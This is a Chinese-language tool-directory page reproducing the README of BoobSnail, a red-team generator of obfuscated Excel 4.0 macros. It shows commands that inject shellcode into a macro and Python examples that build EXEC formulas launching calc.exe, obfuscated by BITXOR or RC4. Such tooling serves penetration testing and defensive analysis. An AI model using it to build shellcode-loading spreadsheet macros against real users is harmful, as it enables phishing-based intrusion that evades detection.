Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
boobsnail — 为红队操作和蓝队分析生成混淆的 Excel 4.0 XLM 宏,支持多种感染技术、公式翻译和基于库的自定义生成器。 | Kitploit
工具/GitHubGitHub/stmcyber/boobsnail
钓鱼工具Payload生成渗透测试社会工程学红队
GitHubstmcyber/boobsnail

boobsnail

为红队操作和蓝队分析生成混淆的 Excel 4.0 XLM 宏,支持多种感染技术、公式翻译和基于库的自定义生成器。

查看仓库
25649151年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

License

在 Twitter 上关注我们!

BoobSnail

BoobSnail 可用于生成 XLM(Excel 4.0)宏。其目标是支持红队和蓝队生成 XLM 宏。 特性:

  • 多种感染技术;
  • 多种混淆技术;
  • 支持将公式翻译为英语以外的其他语言;
  • 可作为库使用——你可以轻松编写自己的生成器。

构建与运行

已在 Python 3.8.7rc1 上测试

pip install -r requirements.txt
python boobsnail.py
___.                ___.     _________             .__.__
\_ |__   ____   ____\_ |__  /   _____/ ____ _____  |__|  |
 | __ \ /  _ \ /  _ \| __ \ \_____  \ /    \__  \ |  |  |
 | \_\ (  <_> |  <_> ) \_\ \/        \   |  \/ __ \|  |  |__
 |___  /\____/ \____/|___  /_______  /___|  (____  /__|____/
     \/                  \/        \/     \/     \/
     Author: @_mzer0 @stm_cyber
     (...)

生成器用法

python boobsnail.py <生成器> -h

要显示可用的生成器,请输入:

python boobsnail.py

示例

生成混淆宏,用于注入 x64 或 x86 shellcode:

python boobsnail.py Excel4NtDonutGenerator --inputx86 <PATH_TO_SHELLCODE> --inputx64 <PATH_TO_SHELLCODE> --out boobsnail.csv

生成运行 calc.exe 的混淆宏:

python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv

在 Excel 中保存输出

  1. 将输出导出为 CSV 文件。
  2. 复制 CSV 文件内容。
  3. 运行 Excel 并创建一个新的工作表。
  4. 添加新的 Excel 4.0 宏(右键单击 Sheet1 → 插入 → MS Excel 4.0 宏)。
  5. 将内容粘贴到单元格 A1 或 R1C1 中。
  6. 单击“数据” → “分列”。
  7. 单击“下一步” → 将分隔符设置为“分号”并单击“完成”。

库的使用

BoobSnail 共享 excel4lib 库,该库允许你创建自己的 Excel4 宏生成器。 excel4lib 包含几个在编写生成器时可能会用到的类:

  • excel4lib.macro.Excel4Macro - 允许定义 Excel4 公式、值、变量;
  • excel4lib.macro.obfuscator.Excel4Obfuscator - 允许混淆 Excel4Macro 中创建的指令;
  • excel4lib.lang.Excel4Translator - 允许将公式翻译为另一种语言。

该库的主要理念是将 Excel4 公式、变量、公式参数和值表示为 Python 对象。因此,你可以轻松更改指令的属性,例如公式或变量名、值、地址等。 例如,让我们创建一个运行 calc.exe 的简单宏:

from excel4lib.macro import *
# 创建宏对象
macro = Excel4Macro("test.csv")
# 向工作表添加变量 cmd,值为 "calc.exe"
cmd = macro.variable("cmd", "calc.exe")
# 添加 EXEC 公式,参数为 cmd
macro.formula("EXEC", cmd)
# 导出为 CSV
print(macro.to_csv())

结果:

cmd="calc.exe";
=EXEC(cmd);

现在假设你想混淆你的宏。为此,只需导入混淆器并将其传递给 Excel4Macro 对象:

from excel4lib.macro import *
from excel4lib.macro.obfuscator import *
# 创建宏对象
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# 向工作表添加变量 cmd,值为 "calc.exe"
cmd = macro.variable("cmd", "calc.exe")
# 添加 EXEC 公式,参数为 cmd
macro.formula("EXEC", cmd)
# 导出为 CSV
print(macro.to_csv())

目前 excel4lib 提供了两个混淆类:

  • excel4lib.macro.obfuscator.Excel4Obfuscator 使用 Excel 4.0 函数(如 BITXOR、SUM 等)来混淆宏;
  • excel4lib.macro.obfuscator.Excel4Rc4Obfuscator 使用 RC4 加密来混淆公式。

如你所见,你可以编写自己的混淆器类,并在 Excel4Macro 中使用它。

有时你需要将宏翻译为另一种语言,例如你的母语(对我来说是波兰语)。使用 excel4lib 非常容易。你只需导入 Excel4Translator 类并调用 set_language 即可:

from excel4lib.macro import *
from excel4lib.lang.excel4_translator import *
# 切换语言
Excel4Translator.set_language("pl_PL")
# 创建宏对象
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# 向工作表添加变量 cmd,值为 "calc.exe"
cmd = macro.variable("cmd", "calc.exe")
# 添加 EXEC 公式,参数为 cmd
macro.formula("EXEC", cmd)
# 导出为 CSV
print(macro.to_csv())

结果:

cmd="calc.exe";
=URUCHOM.PROGRAM(cmd);

目前只支持英语和波兰语。如果你需要使用其他语言,则需要在 excel4lib/lang/langs 目录中添加翻译。

当然,你还需要创建一个以另一个公式作为参数的公式。你可以通过使用 Excel4Macro.argument 函数来实现:

from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# 向工作表添加变量 cmd,值为 "calc"
cmd_1 = macro.variable("cmd", "calc")
# 添加一个单元格,值为 ".exe"
cmd_2 = macro.value(".exe")
# 创建 CONCATENATE 公式,对 cmd_1 和 cmd_2 进行拼接
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# 将 CONCATENATE 调用作为参数传递给 EXEC 公式
macro.formula("EXEC", exec_arg)
# 导出为 CSV
print(macro.to_csv())

结果:

cmd="calc";
.exe;
=EXEC(CONCATENATE(cmd,R2C1));

如你所见,字符串 ".exe" 以 R2C1 的形式传递给了 CONCATENATE 公式。R2C1 是 ".exe" 值的地址(第 2 行,第 1 列)。excel4lib 将公式和值的引用返回为地址,变量的引用则返回其名称。

你可能已经注意到,Excel4Macro 类会按照创建这些对象的顺序自动将公式、变量、值添加到工作表中,且起始地址为 R1C1。如果希望将公式放在其他列或行怎么办?你可以通过调用 Excel4Macro.set_cords 函数来实现:

from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# 第 1 列
# 向工作表添加变量 cmd,值为 "calc"
cmd_1 = macro.variable("cmd", "calc")
# 添加一个单元格,值为 ".exe"
cmd_2 = macro.value(".exe")
# 第 2 列
# 切换到第 2 列
macro.set_cords(2,1)
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# 将 CONCATENATE 调用作为参数传递给 EXEC 公式
exec_call = macro.formula("EXEC", exec_arg)
# 第 1 列
# 回到第 1 列。切换到第 1 列、第 3 行
macro.set_cords(1,3)
# GOTO 到 EXEC 调用
macro.goto(exec_call)
# 导出为 CSV
print(macro.to_csv())

结果:

cmd="calc";=EXEC(CONCATENATE(cmd,R2C1));
.exe;;
=GOTO(R1C2);;

作者

mzer0 来自 stm_cyber 团队!

文章

红队入门 Excel 4.0

BoobSnail - Excel 4.0 宏生成器

下载工具